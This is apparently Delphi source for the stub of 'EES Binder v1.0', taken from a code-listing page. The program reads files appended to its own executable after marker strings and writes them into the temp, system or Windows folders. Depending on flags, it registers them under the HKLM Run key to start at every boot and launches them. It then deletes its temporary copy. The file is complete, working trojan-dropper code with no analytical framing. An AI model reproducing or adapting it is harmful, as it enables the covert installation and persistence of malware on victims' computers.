vip.dpr

来自「EES Binder v1.0」· DPR 代码 · 共 87 行

program VIP;

{$D-,L-,Q+,R-,Y-,S-}

uses
  Windows, GScmd, gsreg, shellapi;

var
Data, FS, FE, EX, Start, STOP, specs, folder: String;
Buff : array [1..1000] of char;
F, FF : file;
P, PE, NUM, FSt, FL, gett, read, write: integer;

begin
num := 0;
FS := '%%%FS';
FE := '%%%FE';
copyfile(pchar(paramstr(0)), pchar(windir + 'temp\EBHT.tmp'),false);

assignfile(F,windir + 'temp\'+'EBHT.tmp');
reset(F,1);

  repeat
  blockread(F,buff,1000,read);
  p := p + read;
  PE := pos(FS,buff) + read;
  until p <> 0;

  seek(F,PE);

  Pe := filesize(F) - pe;

  repeat
  gett := 1000;
   if pe < 1000 then gett := pe;

    blockread(F,buff,gett,read);
    data := data + buff;
    pe := pe - read;
  until pe = 0;

repeat
 Start := FS + inttostr(NUM);
 Stop  := FE + inttostr(NUM);
 P := pos(start,data);
 PE := pos(stop,data);

 IF (p <> 0) or (PE <> 0) then begin
   specs := copy(data,p,pe);
   FSt := strtoint(getparam(specs,4,':'));
   seek(F,fst);
   FL := strtoint(getparam(specs,5,':'));
   EX := getparam(specs,2,':');
   specs := getparam(specs,3,':');

   if pos('T',specs) <> 0 then folder := windir+'temp\';
   if pos('S',specs) <> 0 then folder := sysdir;
   if pos('W',specs) <> 0 then folder := windir;
   if pos('A',specs) <> 0 then regwriteval(HKEY_LOCAL_MACHINE,
   'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', EX,folder + ex);

  assignfile(FF,folder + EX);
  rewrite(FF,1);

   repeat
   gett := 1000;
   if FL < 1000 then gett := FL;
    blockread(F,buff,gett,read);
    blockwrite(FF,buff,read, write);
    fl := fl - read;
   until fl = 0;

  closefile(FF);
  if pos('E',specs) <> 0
   then ShellExecute(0, 'open', pchar(folder + EX), nil, nil, SW_NORMAL);

  end;
  specs := '';
inc(Num);
Until
(p = 0) or (pe = 0);


 CloseFile(F);
 deletefile(pchar(windir + 'temp\'+'EBHT.tmp'));
end.